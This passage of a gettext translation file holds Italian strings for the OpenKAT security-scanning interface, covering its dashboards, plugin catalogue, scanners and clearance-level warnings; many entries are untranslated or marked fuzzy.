crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"Tipo OOI\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"Mostra oggetti %(ooi_type)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"Mostra dettagli per %(ooi)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"Descrizione\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"Fonte\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"Elimina\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"Oggetti\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"spiegazione\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"Livello di autorizzazione\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"Mostra tutto\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"Abilitato\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"Disabilitato\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"Abilitato-Disabilitato\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"Disabilitato-Abilitato\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"Opzioni di filtro\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"Opzioni di ordinamento\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"Questo campo è obbligatorio.\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"Informazioni sui plugin\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\"I plugin raccolgono dati, oggetti e approfondimenti. Ogni plugin ha la \"\n\"propria area di interesse e i propri punti di forza e potrebbe essere in \"\n\"grado di funzionare con altri plugin per ottenere ancora più approfondimenti.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\"I normalizzatori analizzano le informazioni e le trasformano in oggetti per \"\n\"il modello dati in Octopoes.\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\"I bit sono regole aziendali che cercano informazioni all'interno del set di \"\n\"dati corrente, cercano informazioni specifiche e traggono conclusioni.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"Livello di scansione\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"Consuma\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\"%(plugin_name)s è in grado di eseguire la scansione dei seguenti tipi di \"\n\"oggetti:\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"%(plugin_name)s non ha bisogno di oggetti di input.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"Produzione\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"%(plugin_name)s può produrre il seguente output:\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"Modifica\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"disponibile\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"Avviso livello di scansione\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\"%(plugin_name)s scannerà solo gli oggetti con un livello di autorizzazione \"\n\"corrispondente di <strong>L%(scan_level)s</strong> o superiore.\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\"Gli oggetti seguenti non sono ancora autorizzati per il livello \"\n\"%(scan_level)s, si prega di notare che continuando si dichiarerà un livello \"\n\"%(scan_level)s su questi oggetti.\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"Oggetto\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"Sei sicuro/a di voler eseguire la scansione comunque?\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"Scansione\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"Clona impostazioni\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"Clona\"\n\n#: katalogus/templates/katalogus.html\n#, fuzzy\nmsgid \"All plugins\"\nmsgstr \"Plugin disponibili\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"Torna indietro\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"Questa è una panoramica delle ultime impostazioni di tutti i plugin.\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"Plugin\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"Valore\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"Livello di scansione:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"Vedi dettagli\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#, fuzzy\nmsgid \"Enable\"\nmsgstr \"Abilitato\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"Disabilita\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"Nascondi filtri\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"Mostra filtri\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#, fuzzy\nmsgid \"Filter plugins\"\nmsgstr \"Opzioni di filtro\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#, fuzzy\nmsgid \"Clear filter\"\nmsgstr \"Cancella filtri\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"KAT-alogus\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#, fuzzy\nmsgid \"An overview of all available plugins.\"\nmsgstr \"Plugin disponibili\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"Impostazioni\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"Vista griglia\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"Vista tabella\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\"Questo boefje effettuerà la scansione solo degli oggetti con un livello di \"\n\"autorizzazione corrispondente di <strong>L%(scan_level)s</strong> o \"\n\"superiore. Non c'è alcuna indennità per questo boefje per la scansione di un \"\n\"OOI con un livello di autorizzazione inferiore a <strong>L%(scan_level)s</\"\n\"strong>. Usa il filtro per mostrare gli OOI con un livello di autorizzazione \"\n\"inferiore.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\"Attualmente non hai oggetti che soddisfano il livello di scansione di \"\n\"%(name)s.\\n\"\n\"Aggiungi oggetti con un livello di autorizzazione conforme o modifica il \"\n\"livello di autorizzazione degli oggetti esistenti.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"Attualmente non hai oggetti scansionabili per %(name)s.\\n\"\n\"Aggiungi oggetti per utilizzare questo boefje. Questo boefje è in grado di \"\n\"eseguire la scansione di oggetti dei seguenti tipi:\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"Il modulo non può essere inizializzato.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"Impostazioni richieste\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"Aggiungi\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#, fuzzy\nmsgid \"Plugins overview:\"\nmsgstr \"Panoramica utente:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\n#, fuzzy\nmsgid \"Plugin name\"\nmsgstr \"Plugin\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\n#, fuzzy\nmsgid \"Plugin type\"\nmsgstr \"Plugin\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\n#, fuzzy\nmsgid \"Plugin description\"\nmsgstr \"Descrizione\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"Azioni\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\n#, fuzzy\nmsgid \"Plugins Navigation\"\nmsgstr \"Navigazione principale\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"Boefjes\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"Normalizzatori\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"Tutto\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: 